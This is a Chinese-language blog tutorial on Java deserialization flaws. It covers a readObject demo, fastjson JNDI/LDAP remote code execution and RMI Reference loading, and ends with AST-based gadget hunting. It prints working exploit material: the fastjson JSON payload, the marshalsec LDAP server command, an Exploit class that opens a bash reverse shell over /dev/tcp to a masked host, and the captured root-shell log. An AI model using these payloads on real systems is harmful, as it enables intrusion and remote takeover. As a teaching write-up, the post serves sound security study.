Java反序列化

作者 ro0t 于 2021-06-23 发布
预计阅读所需时间 13 分钟
3.2k

Java反序列化

相关概念

  • 序列化:

    将Object对象按照规定的格式,转换为可以存储或可以网络传输的形式。可以有效的实现多平台之间的通信、对象持久化存储。

  • 反序列化:

    从存储中读取或从网络接收一个已经被序列化的对象,按照规定的格式,重新创建该对象。

java序列化是指把Java对象转换为字节序列的过程(便于保存在内存、文件、数据库中),ObjectOutputStream类的writeObject()方法可以实现序列化。

java反序列化是指把字节序列恢复为Java对象的过程,ObjectInputStream类的readObject()方法用于反序列化。

在java中,只要一个类实现了java.io.Serializable接口,就可以通过ObjectInputStreamObjectOutputStream进行序列化。

一个类对象想要序列化成功,必须同时满足:

  • 该类必须实现java.io.Serializable接口
  • 该类的所有属性必须是可序列化的(用transient关键字修饰的属性除外,不参与序列化过程)。如果有一个属性不是可序列化的,则该属性必须注明是短暂的。

漏洞成因

暴露或间接暴露反序列化 API ,导致用户可以操作传入数据,攻击者可以精心构造反序列化对象并执行恶意代码。

两个或多个看似安全的模块在同一运行环境下,共同产生的安全问题

漏洞基本原理

举个本地运行的小🌰看看

  • 先序列化一个对象

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    import java.io.*;

    public class Exploit {
    public static void main(String[] argv) throws IOException {
    MyObject myObj = new MyObject();

    // 创建一个包含对象的 test_object 数据文件
    FileOutputStream fos = new FileOutputStream("test_object");
    ObjectOutputStream os = new ObjectOutputStream(fos);
    // 将 myObj 对象写入 test_object 文件
    os.writeObject(myObj);
    os.close();
    System.out.println("test");

    }
    }


    class MyObject implements Serializable{
    // 重写Serializable()方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
    // 执行默认的readObject()方法
    in.defaultReadObject();
    Runtime.getRuntime().exec(
    new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
    }
    }

    此时会生成一个 test_object 的文件。

    使用hex friend编辑器查看这个文件:

    image-20210609165044645

    可以看到ACED0005这个开头的串,这是java序列化为内容的特征。完整串为:

    1
    ACED0005 73720008 4D794F62 6A656374 D97192B5 4E0D8916 02000078 70
  • 再反序列化该对象

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    import java.io.*;

    public class Exploit {
    public static void main(String[] argv) throws IOException, ClassNotFoundException {
    // java反序列化

    // 从文件中反序列化 myObj 对象
    FileInputStream fin = new FileInputStream("test_object");
    ObjectInputStream oin = new ObjectInputStream(fin);
    // 恢复对象
    MyObject myObj = (MyObject)oin.readObject();
    oin.close();
    }
    }


    class MyObject implements Serializable{
    // 重写Serializable()方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
    // 执行默认的readObject()方法
    in.defaultReadObject();
    Runtime.getRuntime().exec(
    new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
    }
    }
  • 代码成功执行

    image-20210609170539104

小结一下:

  • 序列化的方式不只是将对象存储在文件中,也可以是通过网络传输。

  • 利用方式不只是弹出一个计算器,也可以是反弹shell,具体命令,可在以上例子中,将Runtime.getRuntime().exec(new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});内的命令换成反弹shell的命令即可。

  • 要执行的目标代码,不只是Runtime.exec(),也可以是:

    • Method.invoke()

      这种需要适当地选择方法和参数,通过反射执行Java方法

    • RMI/JNDI/JRMP

      通过引用远程对象,间接实现任意代码执行的效果

其实原理说白了就是,java在反序列化的时候,直接将恶意的序列化对象的代码执行了。

接下来我们再好好看看几个java界内,血次呼啦的RCE案例。

fastjson反序列化

简介

fastjson是一个java编写的高性能功能非常完善的JSON库。

漏洞复现

  1. 攻击者服务器开启监听:

    1
    2
    3
    4
    5
    [root@VM-16-14-centos ~]# nc -l -vv 1234
    Ncat: Version 7.50 ( https://nmap.org/ncat )
    Ncat: Listening on :::1234
    Ncat: Listening on 0.0.0.0:1234

  2. 攻击者服务器执行:

    1
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xxx.xxx.xxx.xxx/#Exploit 9999
  3. 同时发送payload给目标服务器的fastjson

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    POST / HTTP/1.1
    Host: sql.com:8090
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    Content-Length: 264

    {
    "a":{
    "@type":"java.lang.Class",
    "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"ldap://xxx:9999/Exploit",
    "autoCommit":true
    }
    }
  4. 攻击者服务拿到反弹shell

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    [root@VM-16-14-centos ~]# nc -l -vv 1234
    Ncat: Version 7.50 ( https://nmap.org/ncat )
    Ncat: Listening on :::1234
    Ncat: Listening on 0.0.0.0:1234
    Ncat: Connection from xxx.xxx.xxx.xxx.
    Ncat: Connection from xxx.xxx.xxx.xxx:60972.
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@bd9b3bcee003:/# whoami
    whoami
    root
    root@bd9b3bcee003:/# exit
    exit
    exit
    NCAT DEBUG: Closing fd 5.
    [root@VM-16-14-centos ~]#

抓个包看看通讯过程:

  • 目标服务器使用ldap请求攻击者服务器的Exploit(攻击者自己部署了一个ldap的目录服务),由于ldap协议特性(后续讲),ldap告诉目标服务器要到xxx位置去取对象。

    image-20210609190928205

  • 目标服务器根据ldap的目录指向,获取恶意对象,并加载执行

    image-20210609185837614

目标服务器请求了攻击者服务器的Exploit.class文件,其中Exploit.java的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Exploit {
public Exploit(){
try {
java.lang.Runtime.getRuntime().exec(
new String[]{"bash", "-c", "bash -i >& /dev/tcp/xxx/1234 0>&1"});
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}

可见,目标服务器通过ldap远程获取了恶意代码,在反序列化的时候,加载并执行了恶意代码。从而导致远程命令执行漏洞。

拓展

JNDI

https://kingx.me/Exploit-Java-Deserialization-with-RMI.html

https://lzwgiter.github.io/Java 反序列化漏洞与JNDI注入(下)/

https://www.anquanke.com/post/id/221917

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

  • 简介(百度百科)

    JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。

    JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一,所有的J2EE容器都必须提供一个JNDI的服务。

    JNDI可访问的现有的目录及服务有:

    • DNS
    • XNam
    • Novell目录服务
    • LDAP(Lightweight Directory Access Protocol轻型目录访问协议)
    • CORBA对象服务
    • 文件系统
    • Windows XP/2000/NT/Me/9x的注册表
    • RMI
    • DSML v1&v2
    • NIS

    简单点来说就相当于一个索引库,一个命名服务将对象和名称联系在了一起,并且可以通过它们指定的名称找到相应的对象。也就是把资源取个名字,再根据名字来找资源。

上面fastjson反序列化的漏洞,就是利用了JNDI + LDAP的利用方式。

LDAP 协议

在「漏洞复现」部分,我们使用了ldap,那什么是ldap呢?

  • LDAP(Lightweight Directory Access Protocol)轻型目录访问协议。是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。

为什么使用LDAP就能让fastjson加载并执行恶意代码呢?

  • LDAP能返回 JNDI Reference对象,且LDAP服务的Reference远程加载Factory类使用范围更广。fastjson在反序列化时,就加载了JNDI Reference对象,由此导致的远程命令执行。

RMI 协议

RMI(Remote Method Invoke)远程方法调用, 使用 JRMP(Java Remote Message Protocol,Java远程消息交换协议)实现,使得客户端运行的程序可以调用远程服务器上的对象。

RMI有一个重要的特性是动态类加载机制当本地CLASSPATH中无法找到相应的类时,会在指定的codebase里加载class。codebase可以在系统属性java.rmi.server.codebase设置其URL。如果codebase的URL可控,那么我们就可以载入任意的class或jar文件。

漏洞复现

  • 编写利用代码,并将其编译为.class文件,上传至攻击者服务器

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    import java.io.IOException;

    public class exp {
    public exp() throws IOException {
    java.lang.Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
    }
    public static void main(String[] args) throws IOException {
    exp e = new exp();
    }
    }
  • 本地编写rmi server 代码(如下),并执行

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    import com.sun.jndi.rmi.registry.ReferenceWrapper;

    import javax.naming.NamingException;
    import javax.naming.Reference;
    import java.rmi.AlreadyBoundException;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;

    public class rmi_server {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
    String url = "http://target.ip/";
    Registry registry = LocateRegistry.createRegistry(1099);
    Reference reference = new Reference("exp", "exp", url);
    ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
    registry.bind("obj",referenceWrapper);
    System.out.println("running");
    }
    }

    这里需要解释一下:

    1. 由于某些情况不能直接将远程对象返回,所以JNDI提出了Naming References的方法,返回相应的Reference而不返回具体的对象。统一由JNDI的请求端去加载指定的地址上的对象。这个代码就是 本地注册并开启了1099端口的rmi服务,通过bind方法将获取到的reference绑定到obj中,客户端只需要访问obj就可以拿到远程对象。
    2. 当接收程序试图从url上下载文件时,会自动把类的包名转化为目录,在对应的目录下查询类文件。因此,如果远程类文件在WebServer目录下,那么远程url应为:http://target.ip/;如果把类打包成jar包,那么url应为:http://target.ip/xx.jar;如果传递的是类文件,那么url应为:http://target.ip/xx.class
  • 本地编写rmi client代码(如下),并执行

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    import javax.naming.InitialContext;
    import javax.naming.NamingException;

    public class rmi_client {
    public static void main(String[] args) throws NamingException {
    String url = "rmi://127.0.0.1:1099/obj";
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
    InitialContext initialContext = new InitialContext();
    initialContext.lookup(url);
    }
    }

    客户端访问本地1099下的obj,拿到了远程对象,从而成功执行了payload。

  • 可成功打开本地计算器程序

    image-20210611163336858

漏洞原理

其实就是把恶意的Reference类,绑定在RMI的Registry 里面,在客户端调用lookup远程获取远程类的时候,就会获取到Reference对象,获取到Reference对象后,会去寻找Reference中指定的类,如果查找不到则会在Reference中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行。在利用时,只需要想办法把InitialContext类下lookup的地址转为攻击者可控的地址,就可以利用。

自动化挖掘gadget

AST进行自动化挖掘

AST简介

AST(Abstract Syntax Tree)抽象语法树,是源代码语法结构的一种抽象表示。它以树状的形式表现编程语言的语法结构。它由一堆节点(Node)组成,每个节点都表示源代码中的一种结构。不同结构用类型来区分,常见的类型有: Identifier(标识符),BinaryExpression(二元表达式),VariableDeclaration(变量定义),FunctionDeclaration(函数定义)等。AST是编译器看的,编译器会将源码转化成AST

使用AST进行gadget挖掘

上面讲到「只需要想办法把InitialContext类下lookup的地址转换为攻击者可控的地址,就可以进行利用」,这个的前提是「利用的类,不在Fastjson黑名单内」。

因此利用思路就可以是:

反编译不在FastJson黑名单内的jar包,生成java源码文件,将源码文件生成AST语法树,对语法树进行判断,筛选出符合条件的类。再尝试构造POC即可。

先使用反编译软件,将.class文件编译为java源码文件;再使用python的javalang包对源码文件进行AST转换。判断原则:

  • 是否调用的lookup 方法
  • lookup中参数必须是变量
  • lookup中的参数必须来自函数入参,或者类属性

如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !